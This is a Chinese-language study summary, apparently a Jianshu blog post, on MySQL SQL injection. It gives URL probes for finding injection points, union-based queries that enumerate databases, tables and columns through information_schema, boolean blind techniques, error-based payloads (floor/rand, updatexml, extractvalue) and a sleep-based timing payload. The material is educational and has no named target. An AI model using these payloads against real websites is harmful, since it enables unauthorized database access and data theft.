SQL注入總結(jié)·


MySQL數(shù)據(jù)庫(kù)初始的數(shù)據(jù)庫(kù)有:

information_schema,mysql,performance_schema與test。


SQL注入難點(diǎn):盲注,延時(shí)注入,文件導(dǎo)出;

在有些瀏覽器中,可以使用'--+'進(jìn)行注釋但不能使用'#';

SQL注入實(shí)質(zhì):就我自己而言所理解的SQL注入是注入的內(nèi)容與前面的SQL語(yǔ)句重新構(gòu)造成一個(gè)新的SQL語(yǔ)句來(lái)完成自己的需求。

SQL注入剛開始時(shí)要判斷是否有注入點(diǎn);

常用的判斷方法(url):

/?id=1--+

/?id=1'--+

/?id=1"--+

/?id=1')--+

/?id=0' or 1=1--+

/?id=1' and 1=0--+

常用函數(shù):

1. version()——MySQL 版本

2. user()——數(shù)據(jù)庫(kù)用戶名

3. database()——數(shù)據(jù)庫(kù)名

4. @@datadir——數(shù)據(jù)庫(kù)路徑

5. @@version_compile_os——操作系統(tǒng)版本

常用連接函數(shù):

1. concat(str1,str2,...)——沒有分隔符地連接字符串

2. concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串

3. group_concat(str1,str2,...)——連接一個(gè)組的所有字符串,并以逗號(hào)分隔每一條數(shù)據(jù)


排序(order by)

如果我們需要對(duì)讀取的數(shù)據(jù)進(jìn)行排序,我們就可以使用 MySQL 的order by子句來(lái)設(shè)定你想按哪個(gè)字段哪種方式來(lái)進(jìn)行排序,再返回搜索結(jié)果

order by使用:

你可以使用任何字段來(lái)作為排序的條件,從而返回排序后的查詢結(jié)果。

?默認(rèn)情況下,它是按升序排列。

你可以添加 WHERE...LIKE 子句來(lái)設(shè)置條件。

聯(lián)合查詢:

union操作符:

union操作符用于合并兩個(gè)或多個(gè)select語(yǔ)句的結(jié)果集。

union內(nèi)部的select語(yǔ)句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。

每條select語(yǔ)句中的列的順序必須相同。

多個(gè)select語(yǔ)句會(huì)刪除重復(fù)的數(shù)據(jù)。

聯(lián)合查詢需要建立在有顯示位的基礎(chǔ)上。輸入id=0(-1)的原因是如果輸入一個(gè)有意義的值,那么網(wǎng)頁(yè)就會(huì)返回一個(gè)相應(yīng)的值,這時(shí),它會(huì)覆蓋后面聯(lián)合查詢出的結(jié)果,所以要用一個(gè)無(wú)意義的值來(lái)避免覆蓋。我們?cè)谥里@示位的時(shí)候可以在相應(yīng)的位置寫入希望查詢的語(yǔ)句。

查詢函數(shù):

group_concat:將數(shù)據(jù)呈一行顯示,有的時(shí)候數(shù)據(jù)過(guò)多沒辦法使用的時(shí)候可以用limit來(lái)對(duì)輸出的數(shù)據(jù)進(jìn)行限制。

db_name:你想查找的數(shù)據(jù)庫(kù)的名字

tb_name:你想查找的數(shù)據(jù)表的名字

col_name:你想查找的字段的名字(字段=列)

常用查詢語(yǔ)句:

查詢所有數(shù)據(jù)庫(kù)名:

select group_concat(schema_name) from information_schema.schemata

查詢當(dāng)前數(shù)據(jù)庫(kù):
select database();

查詢數(shù)據(jù)庫(kù)的所有數(shù)據(jù)表:

select group_concat(table_name) from information_schema.tables where table_schema='db_name'

查詢字段名:

1.select group_concat(column_name) from infromation_schema.columns where table_schema='db_name' and table_name='tb_name'

2.Select column_name from information_schema.columns where table_name='dbname'

查詢數(shù)據(jù):select group_concat(col_name) from db_name.tb_name

盲注

盲注的分類:

基于布爾 SQL 盲注

基于時(shí)間的 SQL 盲注

基于報(bào)錯(cuò)的 SQL 盲注

盲注常用的函數(shù):

mid()函數(shù)

mid(string,start,length)

mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位


substr()函數(shù)

substr(string,start,length)

substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長(zhǎng)度。Ascii()將某個(gè)字符轉(zhuǎn)換為 ascii 值


left()函數(shù)

left(string,length)

left(database(),1)>’s’?????????? //database()顯示數(shù)據(jù)庫(kù)名稱,left(a,b)從左側(cè)截取 a 的前 b 位


string:規(guī)定要返回的字符串。

start:規(guī)定在字符串的何處開始(初始值為1)。

length:規(guī)定被返回字符串的長(zhǎng)度(可以省略,若省略則返回剩余所有文本)。

在比較的時(shí)候可以直接使用單引號(hào)>‘s’,也可以先轉(zhuǎn)換位ascii碼的形式再進(jìn)行比較。

布爾盲注的原理是根據(jù)頁(yè)面返回的是true還是false來(lái)判斷比較的字母是否正確。例如,如果數(shù)據(jù)庫(kù)的第一個(gè)字母在ASCII表中小于與100相對(duì)應(yīng)的字母,那么就會(huì)返回正常情況下的成功頁(yè)面;如果不小于的話,就會(huì)返回錯(cuò)誤的頁(yè)面。


報(bào)錯(cuò)注入:

報(bào)錯(cuò)注入也是盲注的一種,應(yīng)該為基于盲注的報(bào)錯(cuò)注入。目的是構(gòu)造 payload 讓信息通過(guò)錯(cuò)誤提示回顯出來(lái)。

常用報(bào)錯(cuò)方式:

floor報(bào)錯(cuò):

▲and (select 1 from(select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)?

floor()函數(shù)原本為向下取整,其中rand()函數(shù)為隨機(jī)數(shù)生成,不能于order by共用,數(shù)據(jù)記錄必須有兩條以上

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))

a from information_schema.columns group by a;

▲select count(*) from information_schema.tables group by concat(version(),

floor(rand(0)*2))

▲select count(*) from (select 1 union select null unionselect !1) group by concat(version(),floor(rand(0)*2))

此處有三個(gè)點(diǎn),一是需要 concat 計(jì)數(shù),二是 floor,取得 0 or 1,進(jìn)行數(shù)據(jù)的重復(fù),三是 group by 進(jìn)行分組,但具體原理解釋不是很通,大致原理為分組后數(shù)據(jù)計(jì)數(shù)時(shí)重復(fù)造成的錯(cuò)誤。

updatexml報(bào)錯(cuò):

and updatexml(1,payload,1)

語(yǔ)句對(duì)payload的返回類型做了限制,只有在payload返回的不是xml格式才會(huì)生效,查詢時(shí)使用的concat()函數(shù)是將其連成一個(gè)字符串,因此不會(huì)符合XPATH_string的格式,從而出現(xiàn)格式錯(cuò)誤,出現(xiàn)查詢結(jié)果。

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

//mysql 對(duì) xml 數(shù)據(jù)進(jìn)行查詢和修改的 xpath 函數(shù),xpath 語(yǔ)法錯(cuò)誤

extractvalue()報(bào)錯(cuò):

and extractvalue(1, payload)

其中payload是想要輸入的查詢子句。

extractvalue(1,concat(0x7e,(select @@version),0x7e))

//mysql 對(duì) xml 數(shù)據(jù)進(jìn)行查詢和修改的 xpath 函數(shù),xpath 語(yǔ)法錯(cuò)誤


報(bào)錯(cuò)注入我使用的并不熟練,在此感謝大佬的文章SQL注入大法 - 簡(jiǎn)書


延時(shí)注入

sleep(n):網(wǎng)頁(yè)延遲n秒輸出結(jié)果;

if(a,b,c):if判斷句,a為條件,b、c為執(zhí)行語(yǔ)句;如果a為真就執(zhí)行b,a為假就執(zhí)行c;

length(database()):返回當(dāng)前數(shù)據(jù)庫(kù)名長(zhǎng)度;

If(ascii(substr(database(),1,1))>115,0,sleep(5))--+

//if 判斷語(yǔ)句,條件為假,執(zhí)行 sleep


以上所述只是簡(jiǎn)單的基礎(chǔ)操作,在實(shí)際的SQL注入中還有許多需要注意的問(wèn)題。

如:導(dǎo)入導(dǎo)出,寬字節(jié)注入……

但基礎(chǔ)操作和中心思想?yún)s沒有大的變化。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容